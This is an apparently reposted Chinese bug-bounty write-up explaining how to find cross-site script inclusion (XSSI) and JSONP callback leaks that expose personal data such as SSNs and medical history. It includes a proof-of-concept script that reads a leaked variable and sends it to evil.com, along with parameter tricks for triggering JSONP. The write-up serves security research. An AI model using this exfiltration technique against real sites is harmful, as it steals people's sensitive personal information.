发现跨站脚本包含 (XSSI) 和 JSONP 获得漏洞赏金

渗透技巧 1年前 (2023) admin
216 0 0

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


背景介绍:


废话不多说,挖掘流程(一图胜千言):

发现跨站脚本包含 (XSSI) 和 JSONP 获得漏洞赏金

如果不熟悉 XSSI/JSONP,请阅读以下内容:

XSSI: https://www.scip.ch/en/?labs.20160414
JSONP: https://www.sjoerdlangkemper.nl/2019/01/02/jsonp

方法论:

1、在爬取网站(手动/自动)后,在 Burp suite 中按 MIME 类型过滤结果,然后浏览“script”类型的响应以获取敏感信息

发现跨站脚本包含 (XSSI) 和 JSONP 获得漏洞赏金

2、白帽子发现一处 JS 文件,其中包含投保时填写的所有信息,包括 SSN、病史、签证信息、姓名、电话号码、出生日期、地址等

3、查看 JS 文件的 HTTP GET 请求,以确保它不需要 CORS 标头,例如:

Authorization, X-API-KEY, X-CSRF-TOKEN, X-whatever

4、在该阶段,如果有 CORS 标头,那么攻击就会失败,除非也发现了 CORS 漏洞问题

5、如果不需要特殊的标头,那么可以使用<script>将 JS 文件包含在网页上,并将其发送到任何泄漏严重 PII 漏洞的服务器上,POC 类似于:

<script src="https://target.com/vuln.js"></script><script defer>// var_name is a variable in vuln.js holding sensitive informationconsole.log(var_name);// sending information to an attacker controlled serverfetch("https://evil.com/stealInfo?info="+var_name);</script>

可以使用相同的方式通过在返回敏感信息的所有路径上附加回调=some_function、jsonp=blah 等参数来查找 JSONP 回调。

经验要点:

-有时需要多个参数来触发 JSONP 响应如:

http://target.com?callback=test → no JSONPhttp://target.com?type=jsonp&callback=test → returns JSONP

如果响应具有 Content-Type: application/json 但正文是 JSONP/javascript,并且 X-Content-Type-Options: nosniff 标头不在响应中,那么漏洞依然有效

-对于 JSONP,不同的回调参数可能适用于不同的端点,甚至在同一网站上,例如:

https://target.com/profile_info?callback=test→ no JSONPhttps://target.com/profile_info?jsonp=test→ returns JSONP
https://target.com/account_info?jsonp=test→ no JSONPhttps://target.com/account_info?jsoncallback=test→ returns JSONP

国外白帽子利用上述方法在一个私人项目上发现了 XSSI 漏洞,最终获得$800的赏金奖励。

你学会了么?

====正文结束====

原文始发于微信公众号(骨哥说事):发现跨站脚本包含 (XSSI) 和 JSONP 获得漏洞赏金

版权声明:admin 发表于 2023年6月27日 上午12:01。
转载请注明:发现跨站脚本包含 (XSSI) 和 JSONP 获得漏洞赏金 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...